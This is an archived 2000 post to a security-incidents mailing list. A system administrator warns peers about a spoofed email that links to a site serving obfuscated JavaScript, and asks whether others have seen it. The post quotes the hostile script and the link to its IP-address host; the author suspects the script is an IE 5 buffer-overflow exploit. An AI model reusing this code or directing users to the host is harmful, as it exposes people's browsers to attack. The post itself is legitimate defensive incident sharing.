Security Incidents mailing list archives

Hostile email


From: mmurray () TAOS COM (mmurray () TAOS COM)
Date: Wed, 12 Jul 2000 08:38:48 -0400


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Hey all...

        Got an email containing this this morning [Note: those were HTML tags;
I removed the tags around them, so that it's benign]:
a href="http://209.235.47.178/index.html"/a
a href="http://209.235.47.178/index.html"owwww! my
ass!/a___

        Just so that everybody knows, the subject line of the email is "Is this
Jim?", and it was BCC'd to me.  Sender was a yahoo.com email address with a
reply-to that was at aol.com.  I'm guessing that both were spoofed (although I
haven't bounced yet on either).  Never had a spoofed with a reply-to; seems
kinda strange.

        Went to the site, and it's a blank site except for a piece of
Javascript: (source follows, tags removed)

html
script src="_"

/script
script language="Javascript"

!--
function rm(){var
rmt="%%%%%%%%%NNNNN[[[[[NNNa%%%%%%%%%NNNN>[[[[[NNN^%%%%%%%%%NNNNC[[[[[NNNL%%%%%%
%%%NNNN][[[[[NNNW%%%%%%%%%NNNNr[[[[[NNNL%%%%%%%%%NNNNN[[[[[NNNI%%%%%%%%%NNNN#[[[
[[NNN^%%%%%%%%%NNNN9[[[[[NNNB%%%%%%%%%NNNN1[[[[[NNN/%%%%%%%%%NNNN~[[[[[NNN/%%%%%
%%%%NNNNr[[[[[NNNx%%%%%%%%%NNNNN[[[[[NNNN%%%%%%%%%NNNN][[[[[NNNU%%%%%%%%%NNNNP[[
[[[NNNh%%%%%%%%%NNNNr[[[[[NNNe%%%%%%%%%NNNNC[[[[[NNNU%%%%%%%%%NNNNN[[[[[NNNI%%%%
%%%%%NNNNP[[[[[NNN^%%%%%%%%%NNNN,[[[[[NNN\t%%%%%%%%%NNNNN[[[[[NNNU%%%%%%%%%NNNNr
[[[[[NNNT%%%%%%%%%NNNNf[[[[[NNN\t%%%%%%%%%NNNNC[[[[[NNNu%%%%%%%%%NNNNN[[[[[NNNB%
%%%%%%%%NNNNv[[[[[NNNx%%%%%%%%%NNNN7[[[[[NNN|%%%%%%%%%NNNNs[[[[[NNNt%%%%%%%%%NNN
N~[[[[[NNNh%%%%%%%%%NNNN9[[[[[NNNn%%%%%%%%%NNNN<[[{[[NNNU%%%%%%%%%NNNNN[[z[[NNN|
%%%%%%%%%NNNNc[[U[[NNNa%%%%%%%%%NNNN7[[n[[NNN^%%%%%%%%%NNNNP[[d[[NNNL%%%%%%%%%NN
NN,[[N[[NNNW%%%%%%%%%NNNNN[{z[[NNNL%%%%%%%%%NNNN+[+j[[NNNI%%%%%%%%%NNNN7[s&[[NNN
^%%%%%%%%%NNNNs[#U[[NNNB%%%%%%%%%NNNNN[X4[[NNN/%%%%%%%%%NNNN7[CU[[NNNP%%%%%%%%%N
NNN,[Nu[[NNNh%%%%%%%%%NNNN~[]B[[NNNL%%%%%%%%%NNNN`[sx[[NNN\t%%%%%%%%%NNNNN[)\n[[
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%[NNNNV[a([[NNNo%%%%%%%%[NNNN@[}+[[NNNL%%%%%%%%[NNNNN[L+[[NNNU%%%%%%%%[NNNNr[ex[
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%%[NN\tN`[^$[[NNN\t%%%%%%%%[NNWN<[&z[[NNNL%%%%%%%%[NNnN{[uU[[NNNI%%%%%%%%[NN?N$[
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%%%%%%%NNNN[[[[[[NNNLB%%%%%%%%NNNN[[[[[[NNN\tx%%%%%%%%NNNN[[[[[[NNNu\"%%%%%%%%NN
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Ne}%%%%%%%%NNNN[[[[[[NNN4\t%%%%%%%%NNNN[[[[[[NNNxt%%%%%%%%NNNN[[[[[[NNNNj%%%%%%%
%NNNN[[[[[[NNNU}%%%%%%%%NNNN{[[[[[NNNhL%%%%%%%%NNNNr[[[[[NNNeB%%%%%%%%NNNNP[[[[[
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%%%%%%NNNNr[[[[[NNN4o%%%%%%%%NNNNf[[[[[NNN\\?%%%%%%%%NNNNC[[[[[",rmv=1,rms=966,r
mr=46;document.write((rmo)((rmt),(rms),(rmr),(rmv)));}(rm());
//--

/script
/html

        As I read this, it looks like it's designed to overflow a buffer in the
browser.  Best guess is that it exploits a vulnerability in IE 5, but I haven't
proved that yet (I'm currently on a Linux box that was NOT vulnerable).

        Anybody back me up on the theory?  Anybody else seen this?  Just thought
I'd put out a head's
up...

                                Mike

___________________________________________________________
Mike Murray                             mmurray () taos com
System and Network Administrator
Taos -- The Sys Admin Company
San Francisco, CA

pager: 415-253-2786

___________________________________________________________

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